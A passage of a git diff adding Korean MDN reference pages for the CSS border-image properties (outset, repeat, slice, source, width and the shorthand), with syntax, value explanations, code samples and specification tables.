+ <li><a href="/ko/docs/Web/HTML/Applying_color#테두리">CSS로 HTML 요소에 색 입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/border-image-outset/index.html b/files/ko/web/css/border-image-outset/index.html
new file mode 100644
index 0000000000..ee670a5ba8
--- /dev/null
+++ b/files/ko/web/css/border-image-outset/index.html
@@ -0,0 +1,113 @@
+---
+title: border-image-outset
+slug: Web/CSS/border-image-outset
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image-outset
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-outset</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 테두리 상자와 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>의 거리를 설정합니다.</p>
+
+<p><code>border-image-outset</code>으로 인해 요소 바깥에 그려지는 테두리로는 스크롤이 생기지 않으며 마우스 이벤트를 잡아낼 수도 없습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-outset.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; 값 */
+border-image-outset: 1rem;
+
+/* &lt;number&gt; 값 */
+border-image-outset: 1.5;
+
+/* 세로방향 | 가로방향 */
+border-image-outset: 1 1.2;
+
+/* 위 | 가로방향 | 아래 */
+border-image-outset: 30px 2 45px;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-outset: 7px 12px 14px 5px;
+
+/* 전역 값 */
+border-image-outset: inherit;
+border-image-outset: initial;
+border-image-outset: unset;
+</pre>
+
+<p><code>border-image-outset</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("&lt;length&gt;")}}나 {{cssxref("&lt;number&gt;")}}입니다. 음수는 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 거리를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 거리를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 거리를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 거리를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>테두리 거리의 크기로 고정값 사용.</dd>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>테두리 거리의 크기로 {{cssxref("border-width")}}의 배수 사용.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="outset"&gt;밖으로 나간 테두리를 가지고 있어요!&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#outset {
+ width: 10rem;
+ background: #cef;
+ border: 1.4rem solid;
+ border-image: radial-gradient(#ff2, #55f) 40;
+ border-image-outset: 1.5; /* = 1.5 * 1.4rem = 2.1rem */
+ margin: 2.1rem;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "auto", 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-outset', 'border-image-outset')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-outset")}}</p>
diff --git a/files/ko/web/css/border-image-repeat/index.html b/files/ko/web/css/border-image-repeat/index.html
new file mode 100644
index 0000000000..ddca0a7c73
--- /dev/null
+++ b/files/ko/web/css/border-image-repeat/index.html
@@ -0,0 +1,125 @@
+---
+title: border-image-repeat
+slug: Web/CSS/border-image-repeat
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image-repeat
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-repeat</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 원본 이미지의 <a href="/ko/docs/Web/CSS/border-image-slice#edge_region">모서리 영역</a>을 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a> 크기에 맞춰 조절할 때 사용할 방법을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-repeat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-repeat: stretch;
+border-image-repeat: repeat;
+border-image-repeat: round;
+border-image-repeat: space;
+
+/* 세로방향 | 가로방향 */
+border-image-repeat: round stretch;
+
+/* 전역 값 */
+border-image-repeat: inherit;
+border-image-repeat: initial;
+border-image-repeat: unset;
+</pre>
+
+<p><code>border-image-repeat</code> 속성은 한 개 또는 두 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>을 지정하면 <strong>모든 네 면</strong>이 같은 방식을 사용합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위와 아래</strong>, 두 번째 값은 <strong>왼쪽과 오른쪽 면</strong>의 방식을 지정합니다.</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>stretch</code></dt>
+ <dd>원본 이미지의 모서리 영역을 늘리거나 줄여 간격을 채웁니다.</dd>
+ <dt><code>repeat</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 마지막 이미지는 잘릴 수 있습니다.</dd>
+ <dt><code>round</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 늘어나거나 줄어들 수 있습니다.</dd>
+ <dt><code>space</code></dt>
+ <dd>원본 이미지의 모서리 영역을 타일처럼 반복해 간격을 채웁니다. 크기가 맞지 않으면 각 타일에 균등하게 공백을 배치합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[7]">#bordered {
+ width: 12rem;
+ margin-bottom: 1rem;
+ padding: 1rem;
+ border: 40px solid;
+ border-image: url("https://mdn.mozillademos.org/files/4127/border.png") 27;
+ border-image-repeat: stretch; /* 라이브 샘플에서 바꿀 수 있습니다 */
+}
+</pre>
+
+<div class="hidden">
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="bordered"&gt;저한테 다양한 테두리 반복 속성을 써보세요!&lt;/div&gt;
+
+&lt;select id="repetition"&gt;
+ &lt;option value="stretch"&gt;stretch&lt;/option&gt;
+ &lt;option value="repeat"&gt;repeat&lt;/option&gt;
+ &lt;option value="round"&gt;round&lt;/option&gt;
+ &lt;option value="space"&gt;space&lt;/option&gt;
+ &lt;option value="stretch repeat"&gt;stretch repeat&lt;/option&gt;
+ &lt;option value="space round"&gt;space round&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var repetition = document.getElementById("repetition");
+repetition.addEventListener("change", function (evt) {
+ document.getElementById("bordered").style.borderImageRepeat = evt.target.value;
+});
+</pre>
+</div>
+
+<p>{{EmbedLiveSample("예제", "auto", 200)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-repeat', 'border-image-repeat')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-repeat")}}</p>
diff --git a/files/ko/web/css/border-image-slice/index.html b/files/ko/web/css/border-image-slice/index.html
new file mode 100644
index 0000000000..7dfb26229b
--- /dev/null
+++ b/files/ko/web/css/border-image-slice/index.html
@@ -0,0 +1,107 @@
+---
+title: border-image-slice
+slug: Web/CSS/border-image-slice
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image-slice
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-slice</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> 속성은 {{cssxref("border-image-source")}}로 설정한 이미지를 여러 개의 영역으로 나눕니다. 이렇게 나눠진 영역이 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>를 이룹니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-slice.html")}}</div>
+
+
+
+<p>이미지는 네 개의 꼭지점, 네 개의 모서리, 한 개의 중앙 총 9개의 영역으로 나눠집니다. 상하좌우 각각의 모서리에서 주어진 거리만큼 떨어진 네 개의 분할선이 영역의 크기를 결정합니다.</p>
+
+<p><a href="/files/3814/border-image-slice.png"><img alt="The nine regions defined by the border-image or border-image-slice properties" src="/files/3814/border-image-slice.png" style="margin: 1px; padding: 1em; width: 460px;"></a></p>
+
+<p>위의 도표로 구역이 어떻게 나뉘는지 확인할 수 있습니다.</p>
+
+<ul>
+ <li>1-4번 구역은 <a id="corner_region" name="corner_region">꼭지점 영역</a>입니다. 코너 영역은 최종 테두리 이미지에서도 코너를 이루며 한 번씩만 그려집니다.</li>
+ <li>5-8번 구역은 <a id="edge_region" name="edge_region">모서리 영역</a>입니다. 모서리 영역은 최종 테두리 이미지의 크기에 맞도록 <a href="/ko/docs/Web/CSS/border-image-repeat">반복하여 그리거나 크기를 조정하는 등 변형</a>됩니다.</li>
+ <li>9번 구역은 <a id="middle_region" name="middle_region">중앙 영역</a>입니다. 기본값으로는 쓰이지 않지만, <code>fill</code> 키워드를 지정한 경우 배경 이미지처럼 사용합니다.</li>
+</ul>
+
+<p>{{cssxref("border-image-repeat")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}} 속성이 최종 테두리 이미지에서 각 영역의 사용 방법을 지정합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 모든 방향 */
+border-image-slice: 30%;
+
+/* 세로방향 | 가로방향 */
+border-image-slice: 10% 30%;
+
+/* 위 | 가로방향 | 아래 */
+border-image-slice: 30 30% 45;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-slice: 7 12 14 5;
+
+/* `fill` 키워드 */
+border-image-slice: 10% fill 7 12;
+
+/* 전역 값 */
+border-image-slice: inherit;
+border-image-slice: initial;
+border-image-slice: unset;
+</pre>
+
+<p><code>border-image-slice</code> 속성은 한 개에서 네 개의 <code>&lt;number&gt;</code> 또는 <code>&lt;percentage&gt;</code> 값을 사용해 지정할 수 있습니다. 각각의 숫자는 네 방향 분할선의 위치를 나타냅니다. 음수 값은 유효하지 않고, 최대 크기보다 큰 값은 <code>100%</code>로 잘립니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>을 지정하면, 모든 분할선의 위치가 각각의 기준 모서리에서 동일한 거리만큼 떨어진 곳으로 설정됩니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위와 아래</strong> 분할선, 두 번째 값은 <strong>왼쪽과 오른쪽</strong> 분할선의 위치를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면, 첫 번째 값은 <strong>위</strong>, 두 번째 값은 <strong>왼쪽과 오른쪽</strong>, 세 번째 값은 <strong>아래</strong> 분할선의 위치를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 분할선의 거리를 순서대로 지정합니다. (시계방향)</li>
+</ul>
+
+<p>선택적으로 아무데나 <code>fill</code> 키워드를 추가할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;number&gt;")}}</dt>
+ <dd>모서리에서 분할선까지의 픽셀 거리(래스터 이미지), 또는 좌표 거리(벡터 이미지). 벡터 이미지에서 숫자는 원본 이미지가 아닌 요소의 크기에 상대적이므로 보통 백분율을 선호합니다.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>모서리에서 분할선까지의 백분율 거리. 가로축은 원본 이미지의 너비에, 세로축은 이미지의 높이에 상대적입니다.</dd>
+ <dt><code>fill</code></dt>
+ <dd>중앙 영역을 보존하여 배경 이미지처럼 사용. 실제 {{cssxref("background")}} 속성보다 위에 그려집니다. 중앙 영역 이미지는 위와 왼쪽 모서리 영역의 크기에 맞도록 늘어납니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-slice', 'border-image-slice')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial defintion</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-slice")}}</p>
diff --git a/files/ko/web/css/border-image-source/index.html b/files/ko/web/css/border-image-source/index.html
new file mode 100644
index 0000000000..8d35053b26
--- /dev/null
+++ b/files/ko/web/css/border-image-source/index.html
@@ -0,0 +1,78 @@
+---
+title: border-image-source
+slug: Web/CSS/border-image-source
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image-source
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-source</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>로 사용할 원본 이미지를 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-source.html")}}</div>
+
+
+
+<p>{{cssxref("border-image-slice")}} 속성으로 나뉜 구역을 사용해 최종 테두리 이미지를 생성합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-source: none;
+
+/* &lt;image&gt; 값 */
+border-image-source: url(image.jpg);
+border-image-source: linear-gradient(to top, red, yellow);
+
+/* 전역 값 */
+border-image-source: inherit;
+border-image-source: initial;
+border-image-source: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>테두리 이미지를 사용하지 않습니다. {{cssxref("border-style")}}이 대신 표시됩니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>테두리에 사용할 이미지 참조입니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>{{cssxref("border-image")}}에서 확인할 수 있습니다.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-source', 'border-image-source')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-source")}}</p>
diff --git a/files/ko/web/css/border-image-width/index.html b/files/ko/web/css/border-image-width/index.html
new file mode 100644
index 0000000000..a99e3d4bb8
--- /dev/null
+++ b/files/ko/web/css/border-image-width/index.html
@@ -0,0 +1,128 @@
+---
+title: border-image-width
+slug: Web/CSS/border-image-width
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image-width
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image-width</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소 <a href="/ko/docs/Web/CSS/border-image">테두리 이미지</a>의 너비를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image-width.html")}}</div>
+
+
+
+<p>속성의 값이 {{cssxref("border-width")}}보다 크다면 테두리 이미지는 안쪽 여백(과 콘텐츠) 영역을 침범하여 그려집니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+border-image-width: auto;
+
+/* &lt;length&gt; 값 */
+border-image-width: 1rem;
+
+/* &lt;percentage&gt; 값 */
+border-image-width: 25%;
+
+/* &lt;number&gt; 값 */
+border-image-width: 3;
+
+/* 세로방향 | 가로방향 */
+border-image-width: 2em 3em;
+
+/* 위 | 가로방향 | 아래 */
+border-image-width: 5% 15% 10%;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+border-image-width: 5% 2em 10% auto;
+
+/* 전역 값 */
+border-image-width: inherit;
+border-image-width: initial;
+border-image-width: unset;
+</pre>
+
+<p><code>border-image-width</code> 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 음수는 유효하지 않습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 테두리 너비를 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 테두리 너비를 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 테두리 너비를 지정합니다. (시계방향)</li>
+</ul>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}로 지정한 테두리 너비. 백분율 값은 왼쪽과 오른쪽 테두리에 대해선 테두리 이미지 영역의 너비, 위쪽과 아래쪽에 대해선 테두리 이미지 영역의 높이를 사용해 계산합니다.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>테두리 너비로 {{cssxref("border-width")}}의 배수 사용</dd>
+ <dt><code>auto</code></dt>
+ <dd>방향과 일치하는 {{cssxref("border-image-slice")}}가 가진 원래 너비 또는 높이 사용. 이미지가 원래 크기를 가지고 있지 않으면 방향과 일치하는 <code>border-width</code> 크기를 사용합니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 아래의 가로 90픽셀, 세로 90픽셀 이미지를 사용해 테두리 이미지를 생성합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10470/border.png"></p>
+
+<p>원본 이미지의 각 원은 가로 30픽셀, 세로 30픽셀입니다.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;밤을 쉬이 봄이 무성할 릴케 듯합니다. 토끼, 써 이런 하나에 듯합니다. 이네들은 나는 패, 듯합니다.
+  나는 보고, 딴은 토끼, 이런 멀리 듯합니다. 청춘이 가을로 둘 버리었습니다. 걱정도 밤이 나는 애기
+  오는 언덕 경, 계십니다. 멀리 까닭이요, 나는 별빛이 듯합니다. 소녀들의 벌레는 걱정도 까닭이요,
+  북간도에 쓸쓸함과 오면 것은 어머님, 까닭입니다.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ border: 20px solid;
+ border-image: url("https://mdn.mozillademos.org/files/10470/border.png") 30 round;
+ border-image-width: 16px;
+ padding: 40px;
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 200, 240)}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image-width', 'border-image-width')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image-width")}}</p>
diff --git a/files/ko/web/css/border-image/index.html b/files/ko/web/css/border-image/index.html
new file mode 100644
index 0000000000..e907da9062
--- /dev/null
+++ b/files/ko/web/css/border-image/index.html
@@ -0,0 +1,168 @@
+---
+title: border-image
+slug: Web/CSS/border-image
+tags:
+ - CSS
+ - CSS Borders
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/border-image
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>border-image</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 주위에 이미지를 그립니다. 일반 <a href="/ko/docs/Web/CSS/border">테두리</a>를 대체합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-image.html")}}</div>
+
+
+
+<p><code>border-image</code>는 {{cssxref("border-image-source")}}, {{cssxref("border-image-slice")}}, {{cssxref("border-image-width")}}, {{cssxref("border-image-outset")}}, {{cssxref("border-image-repeat")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다. 다른 단축 속성과 마찬가지로, 생략한 속성은 <a href="/ko/docs/Web/CSS/initial_value">초기값</a>으로 설정됩니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 테두리 이미지를 불러오는데 실패할 경우에 대비해 {{cssxref("border-style")}} 속성을 설정해야 합니다. 사실 명세에 따르면 필수로 지정해야 하지만 모든 브라우저가 그렇게 구현하지는 않았습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css no-line-numbers">/* 이미지 | 슬라이스 */
+border-image: linear-gradient(red, blue) 27;
+
+/* 이미지 | 슬라이스 | 반복 */
+border-image: url("/images/border.png") 27 space;
+
+/* 이미지 | 슬라이스 | 너비 */
+border-image: linear-gradient(red, blue) 27 / 35px;
+
+/* 이미지 | 슬라이스 | 너비 | 거리 | 반복 */
+border-image: url("/images/border.png") 27 23 / 50px 30px / 1rem round space;
+</pre>
+
+<p><code>border-image</code> 속성은 아래 나열한 값 중 한 개에서 다섯 개 사이를 사용해 지정할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> 만약 {{cssxref("border-image-source")}}의 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이 <code>none</code>이거나 이미지를 그릴 수 없다면 {{cssxref("border-style")}}이 대신 보여집니다.</p>
+</div>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;'border-image-source'&gt;</code></dt>
+ <dd>원본 이미지. {{cssxref("border-image-source")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-slice'&gt;</code></dt>
+ <dd>이미지를 구역별로 나눌 때 사용할 슬라이스 크기. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-slice")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-width'&gt;</code></dt>
+ <dd>테두리 이미지 너비. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-width")}}를 참고하세요.</dd>
+ <dt><code>&lt;'border-image-outset'&gt;</code></dt>
+ <dd>테두리 이미지와 요소 외곽의 거리. 네 개 값까지 지정할 수 있습니다. {{cssxref("border-image-outset")}}을 참고하세요.</dd>
+ <dt><code>&lt;'border-image-repeat'&gt;</code></dt>
+ <dd>원본 이미지의 모서리 구역을 테두리의 크기에 맞출 때의 조정 방법. 두 개 값까지 지정할 수 있습니다. {{cssxref("border-image-repeat")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="비트맵">비트맵</h3>
+
+<p>이번 예제는 요소의 테두리에 마름모 패턴을 적용합니다. 테두리 이미지의 원본은 가로 81픽셀, 세로 81픽셀의 ".png" 파일로, 8개의 마름모가 사각형의 테두리를 이루고 있습니다.</p>
+
+<p><img alt="an example borderimage" src="https://mdn.mozillademos.org/files/4127/border.png" style="height: 81px; width: 81px;"></p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="bitmap"&gt;This element is surrounded by a bitmap-based border image!&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>마름모 하나의 크기에 맞추기 위해, 81을 3으로 나눈 <code>27</code>을 슬라이스 크기로 사용하여 원본 이미지를 모서리와 테두리 구역으로 나눕니다. 테두리 이미지의 중앙을 요소 테두리의 가운데로 맞추기 위해 거리도 각 너비의 절반으로 설정합니다. 마지막으로 반복 값에 <code>round</code>를 지정해 모서리가 끊기거나 잘리지 않도록 설정합니다.</p>
+
+<pre class="brush:css">#bitmap {
+ width: 200px;
+ background-color: #ffa;
+ border: 36px solid orange;
+ margin: 30px;
+ padding: 10px;
+
+ border-image:
+ url("https://mdn.mozillademos.org/files/4127/border.png") /* 원본 이미지 */
+ 27 / /* 슬라이스 */
+ 36px 28px 18px 8px / /* 너비 */
+ 18px 14px 9px 4px /* 거리 */
+ round; /* 반복 */
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('비트맵', '100%', 200)}}</p>
+
+<h3 id="그레이디언트">그레이디언트</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div id="gradient"&gt;그레이디언트 기반 테두리 이미지에 둘러 쌓인 요소에요!&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css">#gradient {
+ width: 200px;
+ border: 30px solid;
+ border-image: repeating-linear-gradient(45deg, #f33, #3bf, #f33 30px) 60;
+ padding: 20px;
+}
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample('그레이디언트')}}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>보조 기술은 테두리 이미지를 읽을 수 없습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html" rel="noopener">Understanding Success Criterion 1.1.1 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-border-image', 'border-image')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.border-image")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("border")}}</li>
+ <li>{{cssxref("outline")}}</li>
+ <li>{{cssxref("box-shadow")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>{{cssxref("url()")}} 함수</li>
+ <li>그레이디언트 함수: {{CSSxRef("conic-gradient")}}, {{CSSxRef("linear-gradient")}}, {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}</li>
+</ul>
diff --git a/files/ko/web/css/border-left-color/index.html b/files/ko/web/css/border-left-color/index.html
new file mode 100644
index 0000000000..be69191773
--- /dev/null
+++ b/files/ko/web/css/border-left-color/index.html
@@ -0,0 +1,114 @@
+---
+title: border-left-color
+slug: Web/CSS/border-left-color
+tags:
+ - CSS
+ - CSS Borders
